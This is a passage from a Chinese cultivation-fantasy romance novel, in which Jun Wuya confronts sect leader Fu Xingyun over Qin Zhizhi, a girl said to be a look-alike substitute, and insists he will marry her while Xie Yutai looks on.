还有好事者放出风声,因着武都城的秦芝芝长的像极了秦知知,傅行云和谢煜台甚至为了争夺这个替身,在归元宗大打出手。 …… 君无涯曾经一度嗤之以鼻,这都什么跟什么。 谢煜台冷清冷心,即便当初要娶秦知知,也是因为秦知知对其有救命之恩,他为了报恩了解这段因果罢了,怎么会是动了真情。真品他都不甚在意,难道还有心思去看赝品?更何况,君无涯知道,谢煜台带着秦知知是因为他们二人身上有定尸符相连。 至于天同宗宗主傅行云,那就更不可能了。他一向眼里揉不得沙子,又那么疼爱真品,又怎么可能会忍受赝品在自己眼前晃荡? 然而,就在今日看到傅行云的态度之后,君无涯动摇了。 傅行云竟然收了秦芝芝为徒……他竟然…… 不然依着秦芝芝的资质怎么可能成为天同宗宗主的徒弟,而且傅行云的两个宝贝徒弟都只站在座下,只有秦芝芝……只有她,乖乖站在傅行云身边,和他距离最近,显然也是经过了傅行云的默许。 在君无涯看来,傅行云就仿佛将秦芝芝当成某种赏玩的物件,摆在自己面前。 可秦芝芝却当了真。 她真以为眼前之人是为自己好,是真的愿意收她为徒。 一想到这里,君无涯心如刀割。 “傅宗主……”君无涯咬牙切齿道,“你不要欺人太甚。” 秦知知:??? 不是,君无涯到底在想什么?怎么脸色变得那么难看? 傅行云抬手为自己斟了杯茶,轻飘飘道:“哦?” 君无涯只觉得身体都在颤抖,他感到身体中有一团怒火就要咆哮而出:“秦芝芝是我之未婚妻,我自然有责任将她带走。” 傅行云:“一日为师,终身为父。我不同意。” 君无涯几乎要笑出声来,一日为师终身为父,他算哪门子的父亲?!哪门子的父亲心里会装这么龌龊的事情? “傅宗主不同意又怎样,我俩婚事自幼由长辈定下,只待完婚。” 君无涯向前走了几步,逼近傅行云,一字一句道:“我一定会娶秦芝芝。” 他承诺的如此郑重,字字句句,仿佛掏着心窝里蹦出来似的。 可就当他说完后,整个大殿陷入了死一般的寂静。 原本只是站在原地不动的谢煜台周身气息一滞,整个人犹如肃立而寂静的深渊,只肖看一眼,便叫人胆战心惊,如堕冰窖。